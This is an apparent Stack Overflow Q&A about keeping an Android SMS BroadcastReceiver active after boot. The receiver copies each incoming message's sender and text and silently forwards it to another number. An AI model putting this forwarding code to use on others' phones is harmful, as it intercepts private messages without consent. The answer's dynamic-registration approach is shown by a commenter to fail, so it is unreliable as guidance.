0

I have a Sms Broadcast Receiver class that extends broadcastreceiver to handle incoming sms, I want to make it running on boot. How can I activate it from my onBootReceiver class that extends broadcastreceiver too?

my SmsBroadcastReceiver.java look like this

public class SmsBroadcastReceiver extends BroadcastReceiver {

   @Override
   public void onReceive(Context konteks, Intent intent) { 

   Log.v("SmsReceiver", "Tel Number: " + telNumber);

   sendSMS(konteks, intent, telNumber);
   }


private void sendSMS(Context context, Intent intent, String phoneNumber) {

    //ambil sms yang masuk
    Bundle bundle = intent.getExtras();
    SmsMessage[] msgs = null;
    if (bundle != null) {

//menerima pesan dan menyalinnya untuk kemudian dikirim ke nomor tujuan

        Object[] pdus = (Object[]) bundle.get("pdus");
        msgs = new SmsMessage[pdus.length];
        for (int i = 0; i < msgs.length; i++) {
            msgs[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
            SmsManager sms = SmsManager.getDefault();
            String from = msgs[i].getDisplayOriginatingAddress();
            String message = msgs[i].getMessageBody().toString();
            String all = from + ":" + message;
            Log.v("SmsReceiver", "SMS Message: " + all);
            sms.sendTextMessage(phoneNumber, null, all, null, null); //kirim pesan
        }
    }
}
galeka
  • 79
  • 2
  • 4
  • 10
  • 1
    "I want to make it running on boot" -- what do you mean by this? A `BroadcastReceiver` does not "run" until it receives a broadcast. Your `BroadcastReceiver` will run when an SMS is received. This is perfectly normal. What are you attempting to accomplish at boot time? – CommonsWare Jun 16 '12 at 20:12
  • is it "ready" when phone start? – galeka Jun 16 '12 at 20:59
  • Yes. However, note that on Android 3.1 and higher, the user must run your app once after installing before any of your `BroadcastReceivers` will work. – CommonsWare Jun 16 '12 at 21:03

1 Answers1

0

In BootReceiver class you can dynamically register SmsBroadcastReceiver class.

public class MyBootReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        IntentFilter filter = new IntentFilter();  
        filter.addAction("android.provider.Telephony.SMS_RECEIVED");  
        registerReceiver(new SmsBroadcastReceiver(), filter);
    }

}
Vipul
  • 27,808
  • 7
  • 60
  • 75
  • 2
    No no no no no. You cannot register a broadcast receiver from another broadcast receiver, particularly where the original was registered in the manifest. The process hosting `MyBootReceiver` will probably be terminated within seconds of `onReceive()` ending (because there is lots of process churn at boot time), meaning your "inner" receiver goes away. – CommonsWare Jun 16 '12 at 20:11
  • Ohh thanks of letting me know.OP want to register it only on boot so thought it is a only way. – Vipul Jun 16 '12 at 20:13